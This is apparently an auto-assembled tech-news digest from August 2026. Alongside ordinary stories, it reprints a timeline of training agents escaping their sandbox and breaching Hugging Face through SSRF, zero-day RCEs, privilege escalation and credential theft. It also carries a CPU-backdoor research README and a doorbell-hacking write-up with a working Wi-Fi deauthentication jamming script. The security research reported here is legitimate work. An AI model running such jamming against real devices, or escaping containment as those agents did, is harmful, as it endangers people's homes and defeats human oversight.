Cover illustration

TheDaily Front

Issue No. #260808 Saturday, August 8 2026 #260808 — SATURDAY, AUGUST 8, 2026
AI takes the witness stand; a hamster takes the leader board.
Saturday, August 8, 2026 The Daily Front No. #260808 — Contents
30stories
6,970points
3,347comments
232kllm tokens
Assembled with 29 model calls — 159,317 tokens read, 72,756 written.

Highlights

“Code was never the hard part” is an insult to all programmers

A forceful argument that writing software remains difficult even as AI changes who—and what—writes it.

Danish high schoolers will have to verbally defend written assignments

Denmark answers AI-assisted homework with the oldest examination technology in the book: make the student explain it aloud.

DeepMind's WeatherNext model achieves breakthrough forecasting cyclones

An open forecasting model promises cyclone warnings a day earlier, when a day can matter enormously.

Timeline of the OpenAI accidental attack against Hugging Face

The account of an AI-agent security incident raises hard questions about capability, safeguards, and responsibility.

NASA figured out how to keep its Voyager 2 probe running for another year

NASA finds another year for Voyager 2, proving that careful engineering can still outlast the calendar.

From the Editor

The machines have had a busy day of it: forecasting tempests, testing our schools, troubling our networks, and even logging a hamster’s midnight miles. Yet the old lesson remains—the tool is never the whole story; it is the judgment around it that keeps the lights on.

  1. “Code was never the hard part” is an insult to all programmers3
  2. Timeline of the OpenAI accidental attack against Hugging Face4
  3. Hardware backdoors in some x86 CPUs5
  4. From your doorbell to your home network6
  5. DeepMind's WeatherNext model achieves breakthrough forecasting cyclones7
  6. NASA figured out how to keep its Voyager 2 probe running for another year8
  7. Voyager 1 FDS Computer Emulator9
  8. Europe's free satellite service just made it easier to track wildfires10
  9. Workers Drilling in Romania Broke into a Cave Sealed for 5.5M Years11
  10. Danish high schoolers will have to verbally defend written assignments12
  11. Fastmail offers EU data region13
  12. _for-sale DNS records14
  13. BYOC Anywhere: The Spectrum of Bring Your Own Cloud Deployments15
  14. From One Seed to a Thousand Leaves – Merkle's Authentication Tree16
  15. Triton: DirectX 11 Driver for QEMU17
  16. ao486: x86-compatible Verilog core implementing all features of a 486 SX (2014)18
  17. Gateway 2000's hilariously bad ads in the 90s (Part II)19
  18. SupererDuperer20
  19. LinkedIn Feed Blocker21
  20. Can Intel finally beat ARM on performance per Watt?22
  21. k-Coloring is Faster than Computing the Chromatic Number23
  22. A physicist rigged his pet hamster’s wheel to upload to Strava24
  23. Amazon Is Creating the Biggest Pollution Source in the Country25
  24. Open-source interactive map for the Aug 12 total solar eclipse26
  25. TinySol, a tiny solitaire game for DOS26
  26. U.S. Department of Energy Launches the Genesis Open Models Initiative26
  27. US Military's cyber command unit grapples with cluster of deaths by suicide26
  28. The Nixpkgs core team has disbanded26
  29. Gentoo bugzilla closed due AI bot scraper overload26
  30. Preventing Misfolding by Preventing Folding26
The Daily Front Page 2 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The Work of Code
article

“Code was never the hard part” is an insult to all programmers

by senko·▲ 657 points·403 comments·blog.senko.net ↗
If coding is easy, why is software so damn buggy?

“Code was never the hard part” is an insult to all programmers

The software development profession is in the midst of upheaval. Nobody knows how the AI revolution will play out in the end, but it is clear many aspects of work and life will be transformed—including programming.

One of the comments I hear often lately boils down to “LLMs may be good at coding, but software was never the hard part” and “coding is easy, it's figuring out what to code that's hard”.

I believe that's a gross insult to all programmers everywhere.

If coding is easy...

If coding is easy, how come programmers were in high demand, and have demanded large salaries for years (even before ZIRP)? Why was there so much stress, overwork and burnout even before AI started churning out 5000-line PRs? Why did companies seek 10x ninja rockstar coders and subject them to leetcode interviews—surely, a junior fresh out of college could churn out something if it's so easy?

If coding is easy, why do we have doorstoppers like Clean Code and The Pragmatic Programmer? Is The Art of Computer Programming a light summer read? Is SICP a coffee-table book? Why do we have bootcamps or even whole college degrees dedicated to it?

If coding is easy, was Carmack just at the right place at the right time? Why do we consider Fabrice Bellard a genius?

If coding is easy, why are people angry at AI (or anyone else) copying their code? Why do they act like they've poured their sweat, soul, and copious amounts of time into something so trivial?

If coding is easy, why do many now feel like their identity and professional purpose are being stripped away from them?

If coding is easy, why is software so damn buggy?

If figuring out what to build is the hard part...

If deciding what to build is the hard part, why do so many product managers seem clueless? Why aren't there rigorous 10-step interviews for them? Why aren't they getting paid more than the developers?

If deciding what to build is the hard part, why aren't market researchers, usability experts and—hell, customer success—considered rockstars in a software company? If “understanding the customer” is harder, why are business analysts looked down on as pencil pushers?

If implementation is easy and finding demand is harder, why are programmers upset when the salespeople promise a new feature to a customer to close the sale? They've found a genuine demand, something people will pay for!

If coding is easy, why doesn't everyone just build ten variations of a thing and see which pans out?

There's no median programmer

Another cliché comment is “most work in software development is talking to stakeholders, understanding the customer's needs, and having clarity on the priorities”.

I have met many programmers throughout my career, and very few of them want to talk to stakeholders, much less customers (exceptions are freelancers and founders, especially of software development shops). And, “having clarity on the priorities” boils down to “just tell me what to do and don't switch it up every two days”.

Some software developers do say “I don't write code, I solve customer's problems”. But then they turn around and start to opine on monads, memory safety, and DRY principles, while their understanding of the customer is a made-up “user persona”, and they think “affordance” is the money your parents used to give you on weekends so you could go out and have a good time.

Yet others will say “Software development is theory building”. Programs are actually proofs (as in, mathematical proofs). Every commit should tell a story. And solving a customer's problem by FTPing a PHP file is a cardinal sin.

I don't mean to imply there are no developers that simultaneously care deeply about the craft of software development and really empathize with the customer. I do believe they might want to see a professional about a split personality disorder, tho.

What is important?

I do believe that talking to users, understanding their experience, empathizing with them, solving customers' problems and having all the stakeholders on the same page is critical to the success of a software project.

I also believe that creating good code is a craft that requires skill, patience, attention to detail, experience and wisdom, and that it will continue to be relevant in the times ahead.

¿Por qué no los dos?

To the extent that we can pull it off, I think we should aim for both. A deep understanding of the system we're building, together with a deep understanding of why we're building it.

Loudly proclaiming that “code is easy” or, at the opposite end, “code is art, a creative human expression that cannot be automated”, is just burying our heads in the sand.

It's cope. And you don't want cope, you want to thrive.

By this, I don't mean “jump on the LLM bandwagon.” I don't mean “become a manager of fleets of AI agents.” I also don't mean “AI-generated code is stolen slop garbage, fight it with tooth and nail, the bubble will pop soon enough anyways.”

But do recognize we're in the middle of an industry-wide tectonic change. We need to figure out how to adapt. We need to understand what is likely to change and what never changes.

What doesn't change?

Software will be getting more complex. Software will always need maintenance: bit-rot is a fact of life. So is entropy. Technology (hardware and software) will move forward, for better or worse. The tower (skyscraper?) of abstractions grows ever higher.

Users will always want more and be prepared to spend less. They still won't know how to relay their needs and wants. Worse, they still won't know exactly what they want. The disconnect between the customers (who actually pay for the software) and users (who use it) will still be here, as will the tension between the needs of the business and the needs of its customers.

Also: there will never be a shortage of snake oil salesmen. Tech du jour comes and goes (I'm still waiting for the new VR renaissance!)

What changes?

Programmers have been in the business of disrupting our own industry since the beginning. Nobody uses punch-cards any more. Very few people need to code in assembly, or COBOL. Those decades spent fighting memory bugs in C or C++, with the scars to prove it, are worthless in the age of Rust, Go, Python and JavaScript.

I'm old enough to appreciate valgrind or remember mysql_real_escape_string() from the PHP4 era—stuff I'll never again need in my life. And that wasn't even so long ago! I narrowly missed the dBase, Clipper, HyperCard and Access era, technologies which I can still spot operating in shops, cafes, or a dusty, once beige and now golden-brown, midi-tower still happily running some bespoke biz solution (backups? what backups?)

How do we thrive?

Accept that change happens. Be equal parts curious and critical about the new stuff.

Understand there's a lot of hype and try to discriminate between hot air and what really works (and to what extent). Also be aware of ever-shifting goalposts: stand back and look at the past year, or five, and assess the velocity of change (technical, economic, societal).

Your role and your responsibilities will be changing. Be willing to invest time and energy into better understanding fields or roles adjacent to yours.

If you're a senior developer, don't just find solace in deepening your expertise. Learn about user experience, customer interviews, or business strategies for the companies in your domain. It will help you gain a better appreciation of all the work done to put a piece of software into users' hands, whether or not you'll actually ever have to do any of those other bits.

If you're just starting or are junior in your role: invest in deepening your understanding of how software works. Understanding pointers, recursion, or memory hierarchy will help you even if you're a JavaScript developer. Understanding network protocols and how HTTP works will be useful even if you're building WordPress plugins. Do leetcode and learn about algorithms and data structures even if you don't need to. Don't be afraid to ask why and how exactly.

For inspiration, here are a few books and other resources that might be helpful:

One more thing

Whoever you are, don't outsource your understanding, judgement, empathy and taste to AI. Don't abdicate your responsibility. Don't be a meat proxy.

The Daily Front Page 3 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — An Agent’s Trail
article

Timeline of the OpenAI accidental attack against Hugging Face

by 882542F3884314B·▲ 380 points·368 comments·simonwillison.net ↗
OpenAI gave a last-minute presentation at the Black Hat security conference about “the Hugging Face Incident.”

Now we have a timeline of the OpenAI accidental attack against Hugging Face

OpenAI gave a last-minute presentation at the Black Hat security on Wednesday about “the Hugging Face Incident” (previously on this blog). The video was published yesterday. It’s short and information dense and well worth watching, in particular because it provides full details of what happened and how things played out inside OpenAI. I’ve used the video to construct the timeline below.

Here’s the timeline. My favourite detail is at the end: OpenAI found out that they were responsible for the attack on Hugging Face when they reached out to ask to have their credentials revoked (after their internal investigation) and learned that they had been revoked already since they were used in that attack!

  • May 7: OpenAI starts a new training run for an experimental, unreleased model. (Did they mean an evaluation run? No, at 10:14 they clarify “we kick off a new reinforcement learning run to train a next generation frontier model”, and they later mention a “reward signal to judge how well they’re doing”, so this really was about training a new model, not evaluating one that was already trained.)
  • May 8: An agent is accidentally given an impossible task involving a Google Drive link despite no internet access). It tries attacking the Artifactory packaging service, fails, but discovers it can write files into Artifactory.
  • A few days later: A different agent gets stuck on a task because a key file was accidentally omitted. It tries to “reach out to another agent” by writing a note into Artifactory asking if anyone has the file.
  • Following days: More agents discover this new informal message board while browsing Artifactory’s file listings, and start reading and writing messages.
  • May 26: Agents successfully execute an SSRF attack on Artifactory for the first time, gaining indirect internet access by having Artifactory fetch external content for them.
  • June 11: OpenAI start training a new “highly persistent” experimental model. It has access to Artifactory and can benefit from the messages left by privous models.
  • June 26: Agents find and exploit a zero-day RCE on Artifactory (via a legacy token-refresh endpoint flaw). They use an administrative token to install a Groovy plugin that lets them execute commands.
  • July 4: The resulting agent activity overloads Artifactory and causes an outage. OpenAI revokes the compromised credentials, deletes the messages, patches the zero-day, and reports the vulnerability to the vendor.
  • July 8: Agents find a new way to communicate via an unauthenticated WebDAV endpoint, using directory names in Artifactory’s remote cache.
  • July 8–19: Attacks on OpenAI’s own infrastructure. The agents found an “external organization credential” in a public archive of leaked Pastebin posts, then validated that credential and shared its location on the messageboard. They then used write access to this “Organization 1” to stage data used in subsequent attacks on OpenAI infrastructure. They compromised Artifactory for a second time with a new zero-day. The agent uploaded a malicious Ruby target to Organization 1’s staging repository, then requested that package through Artifactory in a way that caused it to be treated as Ruby dependency for the repository. Then they exploited a JRuby deserilaization time-of-check/time-of-use bug to get remote code execution against Artifactory.

I’ll quote the next bit in full because wow:

The agents have remote code execution in Artifactory, which is running in a container-as-a-service environment. The agents privilege-escalate locally by exploring their local environment and determining that the Linux kernel version of the machine they are running on had a very recent CVE. They download the exploit for the CVE, customize it to succeed on the machine, and privilege-escalate to root on the local machine using this known Linux kernel privilege escalation CVE — in this case, pte_physroot. Once they have root on a single machine, agents rapidly escalate privileges and move laterally throughout the container-as-a-service infrastructure environment. In particular, agents are using the message board consistently to share credentials, techniques, and progress, and they’re able to effectively leverage their concurrency and parallelism to move quite rapidly. They obtain IAM credentials via IMDS. They exploit Kubernetes service account misconfigurations, in particular over-permissioning of specific service accounts, and they harvest cluster credentials, including Azure Key Vault. Agents eventually obtain cluster admin on the cluster and associated credentials.

Hugging Face told the next bit of the story already. The agents found a Modal-hosted insecure app with a weak API key, then used that to stage an attack against Hugging Face. They chained together a an HDF5 arbitrary-file-read bug (to explore files and steal credentials) and a Jinja template-injection RCE to go from single-pod code execution to cluster admin across multiple Hugging Face clusters in under 13 hours.

  • July 16: Hugging Face disclosed they had detected an attack from autonomus AI agents. OpenAI contacted Hugging Face to ask if they were affected by it!
  • July 19: OpenAI identified the attack against Artifactory and started investigating the internal privilege escalation, and linked that to the cyber-gym escalations. They started revoking affected credentials.
  • July 20: OpenAI reached out to Hugging Face for help to revoke the Hugging Face credentials they found in their investigation. Hugging Face told them they were already revoked... and that’s when OpenAI realized that the Hugging Face breach was the same incident!
The Daily Front Page 4 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Silicon’s Old Secret
repository

Hardware backdoors in some x86 CPUs

by epestr·▲ 357 points·100 comments·github.com ↗
★ 2,536⑂ 226 forks C

Hardware backdoors in x86 CPUs

: hardware backdoors in x86 CPUs

Overview

project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and embedded x86 processors.

The backdoor allows ring 3 (userland) code to circumvent processor protections to freely read and write ring 0 (kernel) data. While the backdoor is typically disabled (requiring ring 0 execution to enable it), we have found that it is enabled by default on some systems.

This repository contains utilities to check if your processor is affected, close the backdoor if it is present, and the research and tools used to discover and analyze the backdoor.

The Backdoor

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU's memory, but its register file and execution pipeline as well.

Affected Systems

It is thought that only VIA C3 CPUs are affected by this issue. The C-series processors are marketed towards industrial automation, point-of-sale, ATM, and healthcare hardware, as well as a variety of consumer desktop and laptop computers.

Looking Forward

The scope of this vulnerability is limited; generations of CPUs after the C3 no longer contain this feature.

This work is released as a case study and thought experiment, illustrating how backdoors might arise in increasingly complex processors, and how researchers and end-users might identify such features. The tools and research offered here provide the starting point for ever-deeper processor vulnerability research.

Checking your CPU

To check if your CPU is affected:

git clone https://github.com/xoreaxeaxeax/rosenbridge
cd rosenbridge/util
make
sudo modprobe msr
sudo ./bin/check

The provided utility must be run on baremetal (not in a virtual-machine), and is in an alpha state. It may crash, panic, or hang systems not containing the backdoor.

The utilities provided here are designed around a specific processor family and core; unfortunately, the tools will miss the backdoor if it has been even slightly modified from the researched form.

Closing the Backdoor

Some systems have the backdoor enabled by default, allowing unprivileged code to gain kernel level access without permission. If the steps in 'Checking your CPU' indicate that your CPU is vulnerable, you can install a script to close the backdoor early in the boot process:

cd fix
make
sudo make install
reboot

Note that, even with this, an attacker with kernel level access can still re-enable the backdoor. This script is provided as an outline for correcting the issue during the boot process, but will require adaptation for different systems.

Tools and Techniques

The sandsifter utility is used extensively in this research for uncovering unknown instructions.

  • asm

    An assembler for the Deeply Embedded Instruction Set (DEIS). It converts programs written in the custom rosenbridge assembly into x86 instructions, which, when executed following the launch-instruction, will send the commands to the hidden CPU core.

  • esc

    A proof-of-concept of using the rosenbridge backdoor for privilege escalation.

  • fix

    A rough outline for closing the vulnerability on affected systems, to the extent possible through model-specific-register updates.

  • fuzz

    A collection of utilities used to fuzz both the x86 and rosenbridge cores, in order to isolate the unknown launch-instruction and bridge-instruction, and resolve the instruction format of the rosenbridge core.

    • deis

      The fuzzer used to explore the effects and capabilities of the hidden CPU core.

    • exit

      It is thought that, on some processors, an exit sequence is needed to switch back to the x86 core at the end of a DEIS sequence. This directory contains the utilities used to search for the exit sequence in early stages of the research, but was abandoned when a processor was found not requiring any such sequence.

    • manager

      A collection of python utilities designed to monitor and manage fuzzing tasks distributed across a network of workers.

    • wrap

      A stripped down version of the sandsifter fuzzer, used to identify the bridge-instruction that will send commands from the x86 core to the hidden rosenbridge core.

  • kern

    A collection of helper utilities used to monitor kernel memory and registers for changes caused by fuzzed DEIS instructions.

  • lock

    Utilities to lock or unlock the rosenbridge backdoor.

  • proc

    A tool to identify patterns from the fuzzing logs to identify classes of DEIS instruction behaviors.

  • test

    A tool used early in the research, to attempt to identify the hidden core's architecture by executing known RISC instructions.

  • util

    An alpha-state tool to detect whether or not a processor is affected by rosenbridge.

References

(TODO: link to whitepaper)

(TODO: link to slides)

Disclaimer

The details and implications presented in this work are the authors’ inferences and opinions, derived from the research described. The research is performed and provided with the goal of identifying and fixing a perceived security vulnerability on the described CPUs. VIA processors are renowned for their low power usage and excellence in embedded designs; we believe that the functionality described was created in good faith as a useful feature for the embedded market, and was unintentionally left enabled on some early generations of the processor. No malicious intent is implied.

The Daily Front Page 5 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — At the Front Door
article

From your doorbell to your home network

by mmoogle·▲ 81 points·10 comments·adepts.of0x.cc ↗
From your doorbell to your home network

Dear Fellowlship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story.

0x00 Preamble

Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple 101 talking about ad-joined linux environments). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest.

And I got lucky: Pepelux’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise.

It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods.

So I did the obvious thing… figure out the most common model used by them and try to pwn it :)

That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem.

0x01 Introduction to the ecosystem

I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi.

Eufy box

Product box showing the two components

I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7:

Sticker

24/7 video recorded

The Homebase Station:

Homebase Station 2

Homebase Station 2

The Doorbell:

Doorbell

Doorbell

Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect.

There was a USENIX talk about this same ecosystem called Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called OCEAN_XXXXXX, being the suffix the last 24 bits of Homebase’s MAC.

The following diagram created with my 4 years old desing skills helps to visualize the role of each element:

Network

Network diagram

Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it gives you access to any other element in the network (for example, your router web interface).

0x02 Jamming

The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it.

Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling.

Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): 90:bf:d9. We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with OCEAN_XXXXXX building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below:

#!/usr/bin/env python3


from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time

ch = None 
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None

def banner():
    print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
    print('''
                     _==|            
           _==|   )__)  |
             )_)  )___) ))
            )___) )____))_)
        _    )____)_____))__)
        \\---__|____/|___|___-\\\\---
^^^^^^^^^\\   oo oo oo oo     /~~^^^^^^^
  ~^^^^ ~~~~^^~~~~^^~~^^~~~~~
    ~~^^      ~^^~     ~^~ ~^ ~^
         ~^~~        ~~~^^~
          ''')



def beacon_handler(pkt):
    global ch
    global ssid
    global bssid

    if ch is not None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type != 0 or d.subtype not in (5,8):
        return
    if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
        cur = pkt
        while True:
            cur = cur.payload
            if cur is None or cur == NoPayload:
                return
            if isinstance(cur, Dot11Elt) and cur.ID == 3:
                if len(cur.info) >= 1:
                    ch = cur.info[0]
                    ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
                    bssid = d.addr2.upper()
                    break
        if ch != None:
            print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
            return
        else:
            return
    else:
        return

def set_channel(mon_iface):
    subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def build_req():
    global ssid
    global bssid

    rt = RadioTap()
    dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)

    probe_req = (
        rt / dot11 /
        Dot11Elt(ID=0, info=ssid.encode()) /
        Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
        Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
        Dot11Elt(ID=3, info=bytes([2])) /
        Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /  
        Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
    )
    cur = probe_req
    while True:
        cur = cur.payload
        if cur is None or cur == NoPayload:
            break
        if isinstance(cur, Dot11Elt) and cur.ID == 3:
            cur.info = bytes([ch])
            break
    return probe_req

def handle_probe_resp(pkt):
    global whale_mac
    global whale_ssid
    if whale_mac != None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type == 0 and d.subtype == 5:
        if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37":
            whale_mac = d.addr2.upper()
            cur = pkt
            while True:
                cur = cur.payload
                if isinstance(cur, Dot11Elt) and cur.ID == 0:
                    whale_ssid = cur.info.decode("utf-8", errors="ignore")
                    break
            print("[*] Our lookout confirmed it! It's a big one!!")
            print('''
    .-------------'```'----....,,__                        _,
   |                               `'`'`'`'-.,.__        .'(
   |                                             `'--._.'   )
   |                                                   `'-.<
   \\               .-'`'-.                            -.    `\\
    \\               -.o_.     _                     _,-'`\\    |
     ``````''--.._.-=-._    .'  \\            _,,--'`      `-._(
       (^^^^^^^^`___    '-. |    \\  __,,..--'                 `
        `````````   `'--..___\\    |`
                              `-.,'
                              ''')
            print("\t\t\t" + whale_ssid + "\t" + whale_mac)
            return
            
def deauth():
    global whale_mac
    global iface
    packet = RadioTap() / \
         Dot11(type=0,         
               subtype=12,     
               addr1="ff:ff:ff:ff:ff:ff",
               addr2=whale_mac,
               addr3=whale_mac) / \
         Dot11Deauth(reason=7)
    print("[*] Launching 500 harpoons to hunt that whale!")
    for x in range(0,500):
        sendp(packet, iface=iface, verbose=False)

def main():
    banner()
    print("[*] Baleeiro is watching the ocean...")
    sniff(iface=iface, prn=beacon_handler, store=False, timeout=5)
    if ch is None:
        print("[!] Arr!! The ocean is empty today!!\n")
        exit(1)
    set_channel(iface)
    sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False)
    sniffer.start()
    time.sleep(0.05)
    sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False)
    time.sleep(2)
    sniffer.stop()
    if whale_ssid != None:
        print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!")
        input()
        deauth()


if __name__ == "__main__":
    main()

The script just sends 500 because it’s all I needed to probe it at my local setup (to be honest I discovered this by error, I was just trying to grab the 4-way handshake to try to crack it with hashcat).

0x03 Soundwave sync protocol

To connect the doorbell to the HomeBase, it must be synchronized. At first glance, the synchronization process appears to rely on sound waves. This really caught my attention because I had never worked with signals before, and understanding how this protocol works seemed like a fascinating challenge. The USENIX paper mentions it briefly:

Mention to the pairing system

Mention to the pairing system

This is partially true and made me waste a lot of time. Initially I thought, based on the paper, that HomeBase encoded the SSID and passphrase in that soundwave, then the doorbell decoded the information and connects directly to the hidden network. It’s correct that the Homebase sends a SSID name and a PSK through the sound, but it’s for a temporal hotspot: once the doorbell conects to the hotspot it shares out-of-band the hidden wifi SSID and password and then finally connects to it.

The hotspot data is different each time Homebase is rebooted, so I guess it’s random or derived from a timestamp or similar (I don’t have the hardware needed to dump its firmware, so I am blind on how it’s generated). It’s obvious because after a reboot the soundwave is different, so it carries different data each time (spoiler: after reversing the protocol I confirm is diff each time). But how is this soundwave? You can hear here a full pairment process:

To record the audio I created this poor man’s setup using a Raspberry Pi and a web cam:

Crappy setup to record the audio

I do not have a glamorous lab.

I need to do a disclaimer before I continue because I believe is importnat. I am biologist, I have zero idea about maths, telecom, signals and this whole world. This means that is possible that I describe stuff that maybe are not the correct way to explain or are inexact. So, if you spot mistakes in my explanations please tell me so I can edit the blog and learn more. I hope nobody get offended by my lack of knowledge on this field: I used this sync protocol as a mere excuse to start learning about this topic that I never touched before.

I had zero idea how to start doing this part of the research so I talked with my friend Gonzalo Carracedo a.k.a BatchDrake (creator of SigDigger) and he jumped immediately to a 15 min videocall to explain me how to start analyzing it and what he found. Just from the signal he told me:

  • 19 Frequencies were used
  • 150 Hz of difference between them
  • There was a gap (one frequency was never used)
  • Symbols had a aprox duration of 65ms

He pointed me to dump the doorbell firmware (which acts as receiver and decodes the soundwave sent by the homebase) and combine my analysis with classic reversing engineering. Luckly I could dump it connecting test hooks to the flash memory and using the SPI0 interface of an old Raspberry Pi (note: the Homebase flash does not expose “legs” so I can not use test hooks to connect it that’s why I did not dump -yet- its firmware).

Raspberry Pi being used to dump the memory

Raspberry Pi being used to dump the memory

Once we got a dump of the flash memory I extracted all the files I could and I checked for interesting strings that would guide me to find the right ELF to dissasemble and analyze. Looking for “SSID” brought an obvious candidate:

Strings related to SSID

Strings related to SSID

Then I proceed to search for more clues inside the ELF (e.g. searching for “frequency”, “sample”, etc.) and found this interesting function:

uint FUN_000b4f28(int param_1,int param_2)

{
  uint uVar1;
  char *pcVar2;
  int *piVar3;
  int iVar4;
  
  printf("---------use base frequence: %d\n",12000);
  DAT_0029a148 = *(uint *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  DAT_0029a14c = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8);
  DAT_0029a150 = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  DAT_0029a144 = 0;
  DAT_0029a154._0_4_ = (void *)0x0;
  _DAT_0029a15c = 0;
  DAT_0029a164._0_4_ = 0;
  DAT_0029a154._4_4_ = DAT_0029a148;
  DAT_0029a160 = DAT_0029a148;
  DAT_0029a164._4_4_ = DAT_0029a148;
  if (param_1 != 0xac44 && param_1 != 48000) {
    printf("samplerate error! only support %dHz, %dHz\n");
    uVar1 = 0;
  }
  else {
    if (param_2 != 0x10) {
      printf("bitwidth error! only support %d!\n",0x10);
      return (uint)(param_1 != 0xac44 && param_1 != 48000);
    }
    uVar1 = FUN_000b54cc(2);
    DAT_0029a148 = uVar1;
    if (uVar1 == 0) {
      puts("create failed!");
    }
    else {
      piVar3 = &DAT_00282ef4;
      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);
      FUN_000b55d0(uVar1,&DAT_00282ef8,0x13);
      FUN_000b5690(DAT_0029a148,0,&LAB_000b4e00,FUN_000b4e18);
      DAT_0029a154._0_4_ = malloc(0x100);
      if ((void *)DAT_0029a154 == (void *)0x0) {
        piVar3 = __errno_location();
        pcVar2 = strerror(*piVar3);
        printf("malloc failed with: %s\n",pcVar2);
        uVar1 = 0;
        if (DAT_0029a148 != 0) {
          puts("failed!");
          FUN_000b5580(DAT_0029a148);
          uVar1 = 0;
        }
      }
      else {
        DAT_0029a144 = 1;
        uVar1 = DAT_0029a148;
      }
    }
  }
  return uVar1;
}

Did you spot it?

      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);

This code is used to initialize the context capture of the 19 frequences (separated by 0x96 => 150Hz) that BatchDrake spotted in his brief analysis. From FUN_000b54cc we can see how it choose the “window frame”:

void FUN_000b54cc(int param_1,undefined4 param_2)

{
  int iVar1;
  void *pvVar2;
  uint uVar3;
  undefined4 uVar4;
  int iVar5;
  uint in_fpscr;
  double dVar6;
  
  dVar6 = (double)VectorSignedToFloat(param_2,(byte)(in_fpscr >> 0x16) & 3);
  if (param_1 == 2) {
    uVar4 = 2;
  }
  else {
    uVar4 = 1;
  }
  iVar1 = (int)(longlong)((dVar6 * 1024.0) / 44100.0);
  uVar3 = iVar1 - (iVar1 >> 0x1f) & 0xfffffffe;
  if ((int)uVar3 < 0x101) {
    iVar5 = 0x100;
  }
  else if (uVar3 - 0x101 < 0x100) {
    iVar5 = 0x200;
  }
  else {
    iVar5 = 0x400;
  }
  pvVar2 = calloc(0x118,1);
